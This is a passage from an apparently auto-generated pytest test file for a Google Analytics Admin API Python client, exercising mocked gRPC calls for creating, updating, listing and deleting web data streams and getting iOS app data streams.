type(client.transport.delete_web_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.delete_web_data_stream(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_delete_web_data_stream_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.delete_web_data_stream(
analytics_admin.DeleteWebDataStreamRequest(), name="name_value",
)
def test_update_web_data_stream(
transport: str = "grpc", request_type=analytics_admin.UpdateWebDataStreamRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_web_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.WebDataStream(
name="name_value",
measurement_id="measurement_id_value",
firebase_app_id="firebase_app_id_value",
default_uri="default_uri_value",
display_name="display_name_value",
)
response = client.update_web_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateWebDataStreamRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.WebDataStream)
assert response.name == "name_value"
assert response.measurement_id == "measurement_id_value"
assert response.firebase_app_id == "firebase_app_id_value"
assert response.default_uri == "default_uri_value"
assert response.display_name == "display_name_value"
def test_update_web_data_stream_from_dict():
test_update_web_data_stream(request_type=dict)
def test_update_web_data_stream_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_web_data_stream), "__call__"
) as call:
client.update_web_data_stream()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateWebDataStreamRequest()
@pytest.mark.asyncio
async def test_update_web_data_stream_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.UpdateWebDataStreamRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_web_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.WebDataStream(
name="name_value",
measurement_id="measurement_id_value",
firebase_app_id="firebase_app_id_value",
default_uri="default_uri_value",
display_name="display_name_value",
)
)
response = await client.update_web_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateWebDataStreamRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.WebDataStream)
assert response.name == "name_value"
assert response.measurement_id == "measurement_id_value"
assert response.firebase_app_id == "firebase_app_id_value"
assert response.default_uri == "default_uri_value"
assert response.display_name == "display_name_value"
@pytest.mark.asyncio
async def test_update_web_data_stream_async_from_dict():
await test_update_web_data_stream_async(request_type=dict)
def test_update_web_data_stream_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateWebDataStreamRequest()
request.web_data_stream.name = "web_data_stream.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_web_data_stream), "__call__"
) as call:
call.return_value = resources.WebDataStream()
client.update_web_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"web_data_stream.name=web_data_stream.name/value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_update_web_data_stream_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateWebDataStreamRequest()
request.web_data_stream.name = "web_data_stream.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_web_data_stream), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.WebDataStream()
)
await client.update_web_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"web_data_stream.name=web_data_stream.name/value",
) in kw["metadata"]
def test_update_web_data_stream_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_web_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.WebDataStream()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_web_data_stream(
web_data_stream=resources.WebDataStream(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].web_data_stream == resources.WebDataStream(name="name_value")
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
def test_update_web_data_stream_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_web_data_stream(
analytics_admin.UpdateWebDataStreamRequest(),
web_data_stream=resources.WebDataStream(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.asyncio
async def test_update_web_data_stream_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_web_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.WebDataStream()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.WebDataStream()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_web_data_stream(
web_data_stream=resources.WebDataStream(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].web_data_stream == resources.WebDataStream(name="name_value")
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
@pytest.mark.asyncio
async def test_update_web_data_stream_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_web_data_stream(
analytics_admin.UpdateWebDataStreamRequest(),
web_data_stream=resources.WebDataStream(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
def test_create_web_data_stream(
transport: str = "grpc", request_type=analytics_admin.CreateWebDataStreamRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_web_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.WebDataStream(
name="name_value",
measurement_id="measurement_id_value",
firebase_app_id="firebase_app_id_value",
default_uri="default_uri_value",
display_name="display_name_value",
)
response = client.create_web_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateWebDataStreamRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.WebDataStream)
assert response.name == "name_value"
assert response.measurement_id == "measurement_id_value"
assert response.firebase_app_id == "firebase_app_id_value"
assert response.default_uri == "default_uri_value"
assert response.display_name == "display_name_value"
def test_create_web_data_stream_from_dict():
test_create_web_data_stream(request_type=dict)
def test_create_web_data_stream_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_web_data_stream), "__call__"
) as call:
client.create_web_data_stream()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateWebDataStreamRequest()
@pytest.mark.asyncio
async def test_create_web_data_stream_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.CreateWebDataStreamRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_web_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.WebDataStream(
name="name_value",
measurement_id="measurement_id_value",
firebase_app_id="firebase_app_id_value",
default_uri="default_uri_value",
display_name="display_name_value",
)
)
response = await client.create_web_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateWebDataStreamRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.WebDataStream)
assert response.name == "name_value"
assert response.measurement_id == "measurement_id_value"
assert response.firebase_app_id == "firebase_app_id_value"
assert response.default_uri == "default_uri_value"
assert response.display_name == "display_name_value"
@pytest.mark.asyncio
async def test_create_web_data_stream_async_from_dict():
await test_create_web_data_stream_async(request_type=dict)
def test_create_web_data_stream_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.CreateWebDataStreamRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_web_data_stream), "__call__"
) as call:
call.return_value = resources.WebDataStream()
client.create_web_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_web_data_stream_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.CreateWebDataStreamRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_web_data_stream), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.WebDataStream()
)
await client.create_web_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_create_web_data_stream_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_web_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.WebDataStream()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_web_data_stream(
parent="parent_value",
web_data_stream=resources.WebDataStream(name="name_value"),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[0].web_data_stream == resources.WebDataStream(name="name_value")
def test_create_web_data_stream_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_web_data_stream(
analytics_admin.CreateWebDataStreamRequest(),
parent="parent_value",
web_data_stream=resources.WebDataStream(name="name_value"),
)
@pytest.mark.asyncio
async def test_create_web_data_stream_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_web_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.WebDataStream()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.WebDataStream()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_web_data_stream(
parent="parent_value",
web_data_stream=resources.WebDataStream(name="name_value"),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[0].web_data_stream == resources.WebDataStream(name="name_value")
@pytest.mark.asyncio
async def test_create_web_data_stream_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_web_data_stream(
analytics_admin.CreateWebDataStreamRequest(),
parent="parent_value",
web_data_stream=resources.WebDataStream(name="name_value"),
)
def test_list_web_data_streams(
transport: str = "grpc", request_type=analytics_admin.ListWebDataStreamsRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_web_data_streams), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListWebDataStreamsResponse(
next_page_token="next_page_token_value",
)
response = client.list_web_data_streams(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListWebDataStreamsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListWebDataStreamsPager)
assert response.next_page_token == "next_page_token_value"
def test_list_web_data_streams_from_dict():
test_list_web_data_streams(request_type=dict)
def test_list_web_data_streams_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_web_data_streams), "__call__"
) as call:
client.list_web_data_streams()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListWebDataStreamsRequest()
@pytest.mark.asyncio
async def test_list_web_data_streams_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.ListWebDataStreamsRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_web_data_streams), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListWebDataStreamsResponse(
next_page_token="next_page_token_value",
)
)
response = await client.list_web_data_streams(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListWebDataStreamsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListWebDataStreamsAsyncPager)
assert response.next_page_token == "next_page_token_value"
@pytest.mark.asyncio
async def test_list_web_data_streams_async_from_dict():
await test_list_web_data_streams_async(request_type=dict)
def test_list_web_data_streams_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ListWebDataStreamsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_web_data_streams), "__call__"
) as call:
call.return_value = analytics_admin.ListWebDataStreamsResponse()
client.list_web_data_streams(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_web_data_streams_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ListWebDataStreamsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_web_data_streams), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListWebDataStreamsResponse()
)
await client.list_web_data_streams(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_list_web_data_streams_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_web_data_streams), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListWebDataStreamsResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_web_data_streams(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
def test_list_web_data_streams_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_web_data_streams(
analytics_admin.ListWebDataStreamsRequest(), parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_web_data_streams_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_web_data_streams), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListWebDataStreamsResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListWebDataStreamsResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_web_data_streams(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
@pytest.mark.asyncio
async def test_list_web_data_streams_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_web_data_streams(
analytics_admin.ListWebDataStreamsRequest(), parent="parent_value",
)
def test_list_web_data_streams_pager():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_web_data_streams), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListWebDataStreamsResponse(
web_data_streams=[
resources.WebDataStream(),
resources.WebDataStream(),
resources.WebDataStream(),
],
next_page_token="abc",
),
analytics_admin.ListWebDataStreamsResponse(
web_data_streams=[], next_page_token="def",
),
analytics_admin.ListWebDataStreamsResponse(
web_data_streams=[resources.WebDataStream(),], next_page_token="ghi",
),
analytics_admin.ListWebDataStreamsResponse(
web_data_streams=[
resources.WebDataStream(),
resources.WebDataStream(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_web_data_streams(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, resources.WebDataStream) for i in results)
def test_list_web_data_streams_pages():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_web_data_streams), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListWebDataStreamsResponse(
web_data_streams=[
resources.WebDataStream(),
resources.WebDataStream(),
resources.WebDataStream(),
],
next_page_token="abc",
),
analytics_admin.ListWebDataStreamsResponse(
web_data_streams=[], next_page_token="def",
),
analytics_admin.ListWebDataStreamsResponse(
web_data_streams=[resources.WebDataStream(),], next_page_token="ghi",
),
analytics_admin.ListWebDataStreamsResponse(
web_data_streams=[
resources.WebDataStream(),
resources.WebDataStream(),
],
),
RuntimeError,
)
pages = list(client.list_web_data_streams(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_web_data_streams_async_pager():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_web_data_streams),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListWebDataStreamsResponse(
web_data_streams=[
resources.WebDataStream(),
resources.WebDataStream(),
resources.WebDataStream(),
],
next_page_token="abc",
),
analytics_admin.ListWebDataStreamsResponse(
web_data_streams=[], next_page_token="def",
),
analytics_admin.ListWebDataStreamsResponse(
web_data_streams=[resources.WebDataStream(),], next_page_token="ghi",
),
analytics_admin.ListWebDataStreamsResponse(
web_data_streams=[
resources.WebDataStream(),
resources.WebDataStream(),
],
),
RuntimeError,
)
async_pager = await client.list_web_data_streams(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, resources.WebDataStream) for i in responses)
@pytest.mark.asyncio
async def test_list_web_data_streams_async_pages():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_web_data_streams),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListWebDataStreamsResponse(
web_data_streams=[
resources.WebDataStream(),
resources.WebDataStream(),
resources.WebDataStream(),
],
next_page_token="abc",
),
analytics_admin.ListWebDataStreamsResponse(
web_data_streams=[], next_page_token="def",
),
analytics_admin.ListWebDataStreamsResponse(
web_data_streams=[resources.WebDataStream(),], next_page_token="ghi",
),
analytics_admin.ListWebDataStreamsResponse(
web_data_streams=[
resources.WebDataStream(),
resources.WebDataStream(),
],
),
RuntimeError,
)
pages = []
async for page_ in (await client.list_web_data_streams(request={})).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
def test_get_ios_app_data_stream(
transport: str = "grpc", request_type=analytics_admin.GetIosAppDataStreamRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_ios_app_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.IosAppDataStream(
name="name_value",
firebase_app_id="firebase_app_id_value",
bundle_id="bundle_id_value",
display_name="display_name_value",
)
response = client.get_ios_app_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetIosAppDataStreamRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.IosAppDataStream)
assert response.name == "name_value"
assert response.firebase_app_id == "firebase_app_id_value"
assert response.bundle_id == "bundle_id_value"
assert response.display_name == "display_name_value"
def test_get_ios_app_data_stream_from_dict():
test_get_ios_app_data_stream(request_type=dict)
def test_get_ios_app_data_stream_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_ios_app_data_stream), "__call__"
) as call:
client.get_ios_app_data_stream()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetIosAppDataStreamRequest()
@pytest.mark.asyncio
async def test_get_ios_app_data_stream_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.GetIosAppDataStreamRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_ios_app_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.IosAppDataStream(
name="name_value",
firebase_app_id="firebase_app_id_value",
bundle_id="bundle_id_value",
display_name="display_name_value",
)
)
response = await client.get_ios_app_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetIosAppDataStreamRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.IosAppDataStream)
assert response.name == "name_value"
assert response.firebase_app_id == "firebase_app_id_value"
assert response.bundle_id == "bundle_id_value"
assert response.display_name == "display_name_value"
@pytest.mark.asyncio
async def test_get_ios_app_data_stream_async_from_dict():
await test_get_ios_app_data_stream_async(request_type=dict)
def test_get_ios_app_data_stream_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetIosAppDataStreamRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_ios_app_data_stream), "__call__"
) as call:
call.return_value = resources.IosAppDataStream()
client.get_ios_app_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_ios_app_data_stream_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetIosAppDataStreamRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_ios_app_data_stream), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.IosAppDataStream()
)
await client.get_ios_app_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_ios_app_data_stream_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_ios_app_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.IosAppDataStream()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_ios_app_data_stream(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_get_ios_app_data_stream_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_ios_app_data_stream(
analytics_admin.GetIosAppDataStreamRequest(), name="name_value",
)
@pytest.mark.asyncio
